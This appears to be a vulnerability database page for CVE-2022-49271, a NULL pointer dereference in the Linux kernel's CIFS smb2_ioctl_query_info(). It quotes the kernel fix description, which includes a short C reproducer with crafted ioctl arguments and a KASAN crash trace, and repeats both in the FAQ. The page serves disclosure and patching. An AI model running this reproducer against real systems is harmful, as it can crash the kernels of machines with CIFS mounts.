CVE-2022-49271

CVE-2022-49271 is a medium-severity vulnerability in Linux Linux Kernel with a CVSS 3.x base score of 5.5. It is not currently listed as actively exploited by CISA, and its EPSS exploit-prediction score is low. The underlying weakness is classified as CWE-476.

Key facts

Description

In the Linux kernel, the following vulnerability has been resolved: cifs: prevent bad output lengths in smb2_ioctl_query_info() When calling smb2_ioctl_query_info() with smb_query_info::flags=PASSTHRU_FSCTL and smb_query_info::output_buffer_length=0, the following would return 0x10 buffer = memdup_user(arg + sizeof(struct smb_query_info), qi.output_buffer_length); if (IS_ERR(buffer)) { kfree(vars); return PTR_ERR(buffer); } rather than a valid pointer thus making IS_ERR() check fail. This would then cause a NULL ptr deference in @buffer when accessing it later in smb2_ioctl_query_ioctl(). While at it, prevent having a @buffer smaller than 8 bytes to correctly handle SMB2_SET_INFO FileEndOfFileInformation requests when smb_query_info::flags=PASSTHRU_SET_INFO. Here is a small C reproducer which triggers a NULL ptr in @buffer when passing an invalid smb_query_info::flags #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define die(s) perror(s), exit(1) #define QUERY_INFO 0xc018cf07 int main(int argc, char *argv[]) { int fd; if (argc < 2) exit(1); fd = open(argv[1], O_RDONLY); if (fd == -1) die("open"); if (ioctl(fd, QUERY_INFO, (uint32_t[]) { 0, 0, 0, 4, 0, 0}) == -1) die("ioctl"); close(fd); return 0; } mount.cifs //srv/share /mnt -o ... gcc repro.c && ./a.out /mnt/f0 [ 114.138620] general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN NOPTI [ 114.139310] KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] [ 114.139775] CPU: 2 PID: 995 Comm: a.out Not tainted 5.17.0-rc8 #1 [ 114.140148] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.15.0-0-g2dd4b9b-rebuilt.opensuse.org 04/01/2014 [ 114.140818] RIP: 0010:smb2_ioctl_query_info+0x206/0x410 [cifs] [ 114.141221] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c8 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 7b 28 4c 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 9c 01 00 00 49 8b 3f e8 58 02 fb ff 48 8b 14 24 [ 114.142348] RSP: 0018:ffffc90000b47b00 EFLAGS: 00010256 [ 114.142692] RAX: dffffc0000000000 RBX: ffff888115503200 RCX: ffffffffa020580d [ 114.143119] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffffa043a380 [ 114.143544] RBP: ffff888115503278 R08: 0000000000000001 R09: 0000000000000003 [ 114.143983] R10: fffffbfff4087470 R11: 0000000000000001 R12: ffff888115503288 [ 114.144424] R13: 00000000ffffffea R14: ffff888115503228 R15: 0000000000000000 [ 114.144852] FS: 00007f7aeabdf740(0000) GS:ffff888151600000(0000) knlGS:0000000000000000 [ 114.145338] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 114.145692] CR2: 00007f7aeacfdf5e CR3: 000000012000e000 CR4: 0000000000350ee0 [ 114.146131] Call Trace: [ 114.146291] <TASK> [ 114.146432] ? smb2_query_reparse_tag+0x890/0x890 [cifs] [ 114.146800] ? cifs_mapchar+0x460/0x460 [cifs] [ 114.147121] ? rcu_read_lock_sched_held+0x3f/0x70 [ 114.147412] ? cifs_strndup_to_utf16+0x15b/0x250 [cifs] [ 114.147775] ? dentry_path_raw+0xa6/0xf0 [ 114.148024] ? cifs_convert_path_to_utf16+0x198/0x220 [cifs] [ 114.148413] ? smb2_check_message+0x1080/0x1080 [cifs] [ 114.148766] ? rcu_read_lock_sched_held+0x3f/0x70 [ 114.149065] cifs_ioctl+0x1577/0x3320 [cifs] [ 114.149371] ? lock_downgrade+0x6f0/0x6f0 [ 114.149631] ? cifs_readdir+0x2e60/0x2e60 [cifs] [ 114.149956] ? rcu_read_lock_sched_held+0x3f/0x70 [ 114.150250] ? __rseq_handle_notify_resume+0x80b/0xbe0 [ 114.150562] ? __up_read+0x192/0x710 [ 114.150791] ? __ia32_sys_rseq+0xf0/0xf0 [ 114.151025] ? __x64_sys_openat+0x11f/0x1d0 [ 114.151296] __x64_sys_ioctl+0x127/0x190 [ 114.151549] do_syscall_64+0x3b/0x90 [ 114.151768] entry_SYSCALL_64_after_hwframe+0x44/0xae [ 114.152079] RIP: 0033:0x7f7aead043df [ 114.152306] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 ---truncated---

Frequently asked questions

What is CVE-2022-49271?
In the Linux kernel, the following vulnerability has been resolved: cifs: prevent bad output lengths in smb2_ioctl_query_info() When calling smb2_ioctl_query_info() with smb_query_info::flags=PASSTHRU_FSCTL and smb_query_info::output_buffer_length=0, the following would return 0x10 buffer = memdup_user(arg + sizeof(struct smb_query_info), qi.output_buffer_length); if (IS_ERR(buffer)) { kfree(vars); return PTR_ERR(buffer); } rather than a valid pointer thus making IS_ERR() check fail. This would then cause a NULL ptr deference in @buffer when accessing it later in smb2_ioctl_query_ioctl(). While at it, prevent having a @buffer smaller than 8 bytes to correctly handle SMB2_SET_INFO FileEndOfFileInformation requests when smb_query_info::flags=PASSTHRU_SET_INFO. Here is a small C reproducer which triggers a NULL ptr in @buffer when passing an invalid smb_query_info::flags #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define die(s) perror(s), exit(1) #define QUERY_INFO 0xc018cf07 int main(int argc, char *argv[]) { int fd; if (argc < 2) exit(1); fd = open(argv[1], O_RDONLY); if (fd == -1) die("open"); if (ioctl(fd, QUERY_INFO, (uint32_t[]) { 0, 0, 0, 4, 0, 0}) == -1) die("ioctl"); close(fd); return 0; } mount.cifs //srv/share /mnt -o ... gcc repro.c && ./a.out /mnt/f0 [ 114.138620] general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN NOPTI [ 114.139310] KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] [ 114.139775] CPU: 2 PID: 995 Comm: a.out Not tainted 5.17.0-rc8 #1 [ 114.140148] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.15.0-0-g2dd4b9b-rebuilt.opensuse.org 04/01/2014 [ 114.140818] RIP: 0010:smb2_ioctl_query_info+0x206/0x410 [cifs] [ 114.141221] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c8 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 7b 28 4c 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 9c 01 00 00 49 8b 3f e8 58 02 fb ff 48 8b 14 24 [ 114.142348] RSP: 0018:ffffc90000b47b00 EFLAGS: 00010256 [ 114.142692] RAX: dffffc0000000000 RBX: ffff888115503200 RCX: ffffffffa020580d [ 114.143119] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffffa043a380 [ 114.143544] RBP: ffff888115503278 R08: 0000000000000001 R09: 0000000000000003 [ 114.143983] R10: fffffbfff4087470 R11: 0000000000000001 R12: ffff888115503288 [ 114.144424] R13: 00000000ffffffea R14: ffff888115503228 R15: 0000000000000000 [ 114.144852] FS: 00007f7aeabdf740(0000) GS:ffff888151600000(0000) knlGS:0000000000000000 [ 114.145338] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 114.145692] CR2: 00007f7aeacfdf5e CR3: 000000012000e000 CR4: 0000000000350ee0 [ 114.146131] Call Trace: [ 114.146291] <TASK> [ 114.146432] ? smb2_query_reparse_tag+0x890/0x890 [cifs] [ 114.146800] ? cifs_mapchar+0x460/0x460 [cifs] [ 114.147121] ? rcu_read_lock_sched_held+0x3f/0x70 [ 114.147412] ? cifs_strndup_to_utf16+0x15b/0x250 [cifs] [ 114.147775] ? dentry_path_raw+0xa6/0xf0 [ 114.148024] ? cifs_convert_path_to_utf16+0x198/0x220 [cifs] [ 114.148413] ? smb2_check_message+0x1080/0x1080 [cifs] [ 114.148766] ? rcu_read_lock_sched_held+0x3f/0x70 [ 114.149065] cifs_ioctl+0x1577/0x3320 [cifs] [ 114.149371] ? lock_downgrade+0x6f0/0x6f0 [ 114.149631] ? cifs_readdir+0x2e60/0x2e60 [cifs] [ 114.149956] ? rcu_read_lock_sched_held+0x3f/0x70 [ 114.150250] ? __rseq_handle_notify_resume+0x80b/0xbe0 [ 114.150562] ? __up_read+0x192/0x710 [ 114.150791] ? __ia32_sys_rseq+0xf0/0xf0 [ 114.151025] ? __x64_sys_openat+0x11f/0x1d0 [ 114.151296] __x64_sys_ioctl+0x127/0x190 [ 114.151549] do_syscall_64+0x3b/0x90 [ 114.151768] entry_SYSCALL_64_after_hwframe+0x44/0xae [ 114.152079] RIP: 0033:0x7f7aead043df [ 114.152306] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 ---truncated---
How severe is CVE-2022-49271?
CVE-2022-49271 has a CVSS 3.x base score of 5.5, rated medium severity. It is exploitable over local access with low attack complexity, requires low privileges and no user interaction. Impact on confidentiality is none, integrity none, and availability high.
Is CVE-2022-49271 being actively exploited?
It is not currently listed in CISA's KEV catalog. Its EPSS exploit-prediction score is 0% (16th percentile), an estimate of the probability of exploitation in the next 30 days.
What products are affected by CVE-2022-49271?
CVE-2022-49271 affects Linux Linux Kernel. See the affected-products list for the exact vulnerable versions.
How do I fix CVE-2022-49271?
Review the linked vendor and NVD advisories for patched versions and mitigations, then upgrade or apply the recommended workaround.
Does CVE-2022-49271 have an EU (EUVD) identifier?
Yes. CVE-2022-49271 is tracked in the ENISA EU Vulnerability Database (EUVD) as EUVD-2022-54955.
When was CVE-2022-49271 published?
CVE-2022-49271 was published on 2025-02-26 and last updated on 2026-06-17.

References

Affected products (1)

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